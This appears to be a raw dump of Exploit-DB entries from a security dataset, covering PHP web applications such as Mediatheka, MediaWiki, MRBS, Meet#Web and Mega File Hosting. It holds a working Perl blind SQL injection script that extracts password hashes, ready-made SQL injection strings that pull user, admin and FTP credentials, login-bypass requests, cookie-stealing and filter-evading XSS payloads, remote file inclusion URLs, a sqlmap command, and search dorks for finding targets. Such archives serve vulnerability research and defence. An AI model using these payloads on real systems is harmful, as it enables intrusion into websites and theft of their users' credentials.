deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7476
Description: Mediatheka 4.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-15
Author: StAkeR

Exploit:
#!/usr/bin/perl -w
# Mediatheka <= 4.2 Remote Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102); 
my $substr = 1; 
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
  
     $host .= "/connection.php?guest=false";
     $post = $http->post($host,[
                                 user      => $param,
                                 password  => 'anything'
                               ]);
 
}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
  
     $send = "' or (select if((ascii(substring".
             "(password,$uidz,1))=$charz),".
             "benchmark(200000000,char(0)),".
            "0) from users where id=$userid)#";

     return $send;
}


for(1..32) 
{
     foreach my $set(@chars)
     {
          my $start = time();
    
          send_request(give_char($set,$substr));
    
          my $stop = time();
  
         if($stop - $start > 6)
         { 
              syswrite(STDOUT,chr($set));
              $hash .= chr($set);
              $substr++; 
              last;
        }
    }
}

sub usage
{
     print "[?] Mediatheka <= 4.2 Remote Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [id]\n";
     exit;
}

# milw0rm.com [2008-12-15]
Exploit-DB #24994
Description: MediaWiki 1.3.x - Arbitrary Script Upload
Type: webapps
Platform: php
Date: 2004-12-16
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11985/info

MediaWiki is reported prone to a vulnerability that can allow a remote attacker to upload arbitrary PHP scripts to a vulnerable server. This issue results from insufficient sanitization of user-supplied input.

If successful, the attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the application.

MediaWiki 1.3.8 and prior versions are affected by this issue. 

Script file name:
attack.php.rar
Exploit-DB #29404
Description: MediaWiki 1.x - 'AJAX index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-09
Author: Moshe Ben-Abu

Exploit:
source: https://www.securityfocus.com/bid/21956/info

MediaWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UPDATE: Although a fix was issued to address this issue, attackers may bypass the fix by encoding an exploit in UTF-7.

v1.8.2 and below: http://www.example.com/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('http://www.example2.com')%3C/script%3E v1.8.3 - v1.9.2 http://www.example.com/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open('http://www.example2.com');+ADw-/SCRIPT+AD4- http://www.example.com/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%2D%2F%53%43%52%49%50%54%2B%41%44%34%2D
Exploit-DB #37404
Description: MediaWiki 1.x - 'uselang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/53998/info

MediaWiki is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MediaWiki versions prior to 1.17.5, 1.18.4, and 1.19.1 are vulnerable. 

http://www.example.com/wiki/Main_Page?uselang=a%27%20onmouseover=eval(alert(1))%20e=%27
Exploit-DB #18743
Description: MediaXxx Adult Video / Media Script - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-15
Author: Daniel Godoy

Exploit:
 # Exploit Title: MediaXxx Adult Video / Media Script SQL Injection
# Date: 19/05/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: MediaXxx
# http://www.mediaxxxscript.com/
# Tested on: Linux
# Dork: "Powered by MediaXxx Mobile"
   
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion,ksha,zerial,
    her0, r0dr1 y demas user de RemoteExecution
    wwwremoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group
 
[PoC]
 
http://localhost/mobile/search?query=[SQL Injection]
 
 
[DEMO]
 
http://server/mobile/search?query=1%27%29%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2858%2C122%2C108%2C118%2C58%29%2C%28CASE%20WHEN%20%28EXISTS%28SELECT%209%20FROM%20information_schema.TABLES%29%29%20THEN%201%20ELSE%200%20END%29%2CCHAR%2858%2C113%2C103%2C116%2C58%29%29%2C%20NULL%2C%20NULL%23%20AND%20%28%27CTgy%27%3D%27CTgy

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com
Exploit-DB #49274
Description: Medical Center Portal Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Medical Center Portal Management System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-10
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with any verified user credentials

Step 2. Select Staff and select the view icon.

Step 3. You will be redirected to a page like "
http://localhost/pages/emp_searchfrm.php?action=edit & id=1". Or visit any
page that has the "id" parameter. Capture the current page request in
burpsuite

Step 4. Save request and run sqlmap on request file using command " sqlmap
-r request -p id --time-sec=5 --dbs ".

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=edit & id=(SELECT (CASE WHEN (7289=7289) THEN 22 ELSE
(SELECT 4035 UNION SELECT 6415) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: action=edit & id=22 AND (SELECT 9743 FROM(SELECT
COUNT(*),CONCAT(0x716b6a7871,(SELECT
(ELT(9743=9743,1))),0x71706b7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=edit & id=22 AND (SELECT 4861 FROM
(SELECT(SLEEP(5)))xiXm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: action=edit & id=22 UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x716b6a7871,0x4b445769664f[PII_REDACTED]75666f6e[PII_REDACTED]4f6b[PII_REDACTED]67746c[PII_REDACTED][PII_REDACTED],0x71706b7071),NULL,NULL,NULL,NULL--
-
---
Exploit-DB #49138
Description: Medical Center Portal Management System 1.0 - 'login' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-01
Author: Aydın Baran Ertemir

Exploit:
# Exploit Title: Medical Center Portal Management System 1.0 - 'login' SQL Injection
# Dork: N/A
# Date: 2020-11-26
# Exploit Author: Aydın Baran Ertemir
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Version: 1.0
# Category: Webapps
# Tested on: Kali Linux

# POC:
# 1)
# http://localhost/medic/pages/login.php
#
POST /medic/pages/processlogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/medic/pages/login.php
Cookie: PHPSESSID=ef7226c5aa187ed19ce1815df30e079e
Upgrade-Insecure-Requests: 1

user=1%27+or+1%3D1%23&password=1%27+or+1%3D1%23&btnlogin=
Exploit-DB #49236
Description: Medical Center Portal Management System 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2020-12-11
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Medical Center Portal Management System 1.0 - Multiple Stored XSS
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-10
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the application with any valid user credentials.

Step 2: Click on "Medical Products", select "Add Medical Products", use
"<scrip>alert(1)</script>" in both name ad description fields. Complete the
other fields and save product.

Step 3: Once you click on save, this should trigger the XSS payload.
clicking on the "Medical Products" page anytime will trigger the Stored XSS
Payload

Note: Same method applies to "Add New Hospital | Pharmacy page"

Step 1: Use "<scrip>alert("r0b0tG4nG")</script>" as hospital/pharmacy name,
fill the other required information and click on save. Your payload will be
executed anytime you click on "Medical Products" page or "Add New Hospital
| Pharmacy page" page.
Exploit-DB #41091
Description: Medical Clinic Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Medical Clinic Website Script
# Script Buy Now: http://www.popularclones.com/products/Medical-Clinic-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Authentication Bypass :
# http://localhost/[PATH]/admin_giant/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin_giant/add_gallery.php?id=[SQL]
# http://localhost/[PATH]/admin_giant/add_team_member.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #18202
Description: Meditate Web Content Editor 'username_input' - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-05
Author: Stefan Schurtz

Exploit:
Advisory:              	Meditate Web Content Editor 'username_input' SQL-Injection vulnerability
Advisory ID:           	SSCHADV2011-039
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on Meditate 1.2
Vendor URL:          	http://www.arlomedia.com/
Vendor Status:       	fixed

==========================
Vulnerability Description
==========================

Meditate Web Content Editor is prone to a SQL-Injection vulnerability

==================
PoC-Exploit
==================

http://<target>/meditate_2.0/index.php?page=login_submit -> POST-Parameter 'username_input=[sql-injection]'

=========
Solution
=========

Upgrade to version 1.2.1

====================
Disclosure Timeline
====================

30-Nov-2011 - Secunia SVCRP (vuln@secunia.com)
02-Dec-2011 - fixed by vendor
05-Dec-2011 - release date of this security advisory
05-Dec-2011 - post on BugTraq

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://www.arlomedia.com/software/meditate/meditate/docs/release_notes.html
http://www.rul3z.de/advisories/SSCHADV2011-039.txt
http://secunia.com/advisories/47010/
Exploit-DB #46592
Description: Meeplace Business Review Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-22
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Meeplace Business Review Script - 'id' SQL Injection
# Date: 22.03.2019
# Dork:
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: http://www.meeplace.com
# Demo Site: http://demo.meeplace.com
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

# Request: http://localhost/[PATH]/ad/addclick.php?&id=1
# Vulnerable Parameter: id (GET)
# Payload: &id=1 RLIKE (SELECT * FROM (SELECT(SLEEP(5)))qcFZ)
Exploit-DB #32232
Description: Meet#Web 0.8 - 'ManagerResource.class.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info
 
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/ManagerResource.class.php?root_path=[SHell]
Exploit-DB #32233
Description: Meet#Web 0.8 - 'ManagerRightsResource.class.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info
  
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=[SHell]
Exploit-DB #32231
Description: Meet#Web 0.8 - 'modules.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info

Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Meet#Web 0.8 is vulnerable; other versions may also be affected.

 http://www.example.com/cms/meetweb/classes/modules.php?root_path=[SHell]
Exploit-DB #32234
Description: Meet#Web 0.8 - 'RegForm.class.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info
   
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/RegForm.class.php?root_path=[SHell]
Exploit-DB #32235
Description: Meet#Web 0.8 - 'RegResource.class.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info
    
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Meet#Web 0.8 is vulnerable; other versions may also be affected.

 http://www.example.com/cms/meetweb/classes/RegResource.class.php?root_path=[SHell]
Exploit-DB #32236
Description: Meet#Web 0.8 - 'RegRightsResource.class.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-13
Author: Rakesh S

Exploit:
source: https://www.securityfocus.com/bid/30673/info
     
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Meet#Web 0.8 is vulnerable; other versions may also be affected.

http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell]
Exploit-DB #32144
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'day.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info

MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/day.php?area=[XSS]
Exploit-DB #32149
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'help.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info
     
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
MRBS 1.2.6 is vulnerable; other versions may also be affected.

http://www.example.com/path/help.php?area=[XSS]
Exploit-DB #32146
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'month.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info
  
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/month.php?area=[XSS]
Exploit-DB #32148
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'report.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info
    
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
MRBS 1.2.6 is vulnerable; other versions may also be affected.
 
http://www.example.com/path/report.php?area=[XSS]
Exploit-DB #32147
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info
   
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?area=[XSS]
Exploit-DB #32145
Description: Meeting Room Booking System (MRBS) 1.2.6 - 'week.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30531/info
 
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/week.php?area=[XSS]
Exploit-DB #33226
Description: Mega File Hosting Script 1.2 - 'emaillinks.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36413/info

Mega File Hosting Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mega File Hosting Script 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/emaillinks.php?moudi=1"><script>alert(document.cookie);</script>
Exploit-DB #5598
Description: Mega File Hosting Script 1.2 - 'fid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: TurkishWarriorr

Exploit:
########################################

Script: Mega File Hosting script

########################################

Type: SQL Injection

########################################

1923TURK.ORG
TURKiSHWARRiORR

Step 1: Register an account

Step 2: login and go to /members.php?folders=1

Step 3: Create a folder with any name

Exploitation options:

ADIM 1: /members.php?folders=1&fid=-1+union+all+select+1,2,concat(user,0x3a,email),pass,5,6,7,8+from+users+-- to get the users

ADIM 2: Go to /members.php?folders=1&fid=-1+union+all+select+1,2,admin,pass,5,6,7,8+from+setting+-- to get the admin info

ADIM 3: Go to /members.php?folders=1&fid=-1+union+all+select+1,2,user,pass,5,6,7,8+from+server+-- to get the ftp server info (if its configured)



#######################################

dork: "Powered by: MFH v1"

####################################### 

# milw0rm.com [2008-05-12]